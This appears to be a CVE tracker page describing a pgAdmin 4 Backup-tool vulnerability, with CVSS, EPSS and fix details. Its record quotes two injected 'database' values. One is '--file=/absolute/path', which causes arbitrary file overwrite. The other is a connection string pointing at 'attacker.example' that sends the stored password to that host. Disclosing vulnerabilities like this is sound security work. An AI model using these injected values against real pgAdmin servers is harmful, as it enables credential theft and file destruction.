CVE Tools

CVE-2026-86864

pgAdmin 4: Argument and connection-string injection via the database field in the Backup tool

No known exploitation. EPSS puts it in the 45th percentile. A vendor fix is available.

Published Updated Sources: CVE.org, NVD

What to do

The vendor has published a fix. Version details are below where the sources state them.

What it is

From the CVE record

pgAdmin 4's Backup tool appended the client-supplied 'database' field from the /backup/job/<sid>/object request to the pg_dump argument vector as a bare trailing positional argument, without validation. Because pg_dump parses its options with getopt_long, which permutes arguments, a value beginning with a dash was interpreted as an option rather than as a database name. A value such as --file=/absolute/path therefore overrode the storage-confined --file that pgAdmin had constructed earlier, causing pg_dump to write its output anywhere the pgAdmin process could write, outside the user's File Manager storage directory. This yields arbitrary file creation and overwrite as the operating-system account running pgAdmin, which can destroy pgAdmin's own configuration database and, depending on the target chosen, be escalated further. The same field additionally permitted connection-string injection. libpq expands a database name containing an equals sign into a full connection string, and keywords embedded there override the --host and --port that pgAdmin passes, so a value such as 'host=attacker.example port=5432 dbname=x' redirected pg_dump to a server of the attacker's choosing. Because pgAdmin exports the decrypted stored database password in the PGPASSWORD environment variable before executing the utility, the redirected connection carries that credential to the attacker-nominated endpoint. Both behaviours are reachable by any authenticated user holding the tools_backup permission, which is granted to the default User role. The fix stops passing the database name through the argument vector altogether and supplies it in the PGDATABASE environment variable, which libpq treats as a literal database name and never expands as a connection string. This matches the approach already used by the Import/Export tool. Regression tests assert that the database name is absent from the constructed argument vector and that PGDATABASE carries the exact requested value. This issue affects pgAdmin 4: from the introduction of the trailing positional database argument in the Backup tool before 9.18.

In plain language

No plain-language summary for this CVE yet.

Exploitation

Where each signal puts this CVE on the scale from published to confirmed exploited.

EPSS45th
CISA KEV

Not in the catalog. CISA has not confirmed exploitation.

Public exploits

No public exploit or proof of concept found in the sources we track.

EPSS

0.6% chance of exploitation activity in the next 30 days, which ranks it in the 45th percentile of scored CVEs.

Exploit Prediction Scoring System, FIRST.org. A probability, not a confirmation.

Lifecycle

7 events over 4 days, from the signal feeds we watch.

  1. Patch availablerecord updated
  2. Record updated
  3. Publishedweakness classified, att&ck mapped, record updated

Affected products

Technical detail

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Scored 8.8 by NVD.

How it is reached

  • Attack Vector NetworkExploitable remotely over the network without any special conditions
  • Attack Complexity LowNo special conditions — the attack can be reliably reproduced
  • Privileges Required LowRequires basic user-level privileges
  • User Interaction NoneNo user interaction needed — fully automated exploitation

Scope

  • Scope UnchangedImpact is limited to the vulnerable component itself

Impact if exploited

  • Confidentiality HighTotal information disclosure — all data in the component is compromised
  • Integrity HighTotal loss of integrity — attacker can modify any data in the component
  • Availability HighTotal denial of service — the component is completely unavailable

Weaknesses

ATT&CK techniques

Mapped from the weaknesses above (CWE to ATT&CK), not observed in attacks.

Sources

Watch the software you run.

My Stack ranks new CVEs for your products by real-world exploitation, so the next serious one reaches you without reading every advisory.

We'll flag the next CVE, public exploit or patch for PgAdmin 4, not every advisory.

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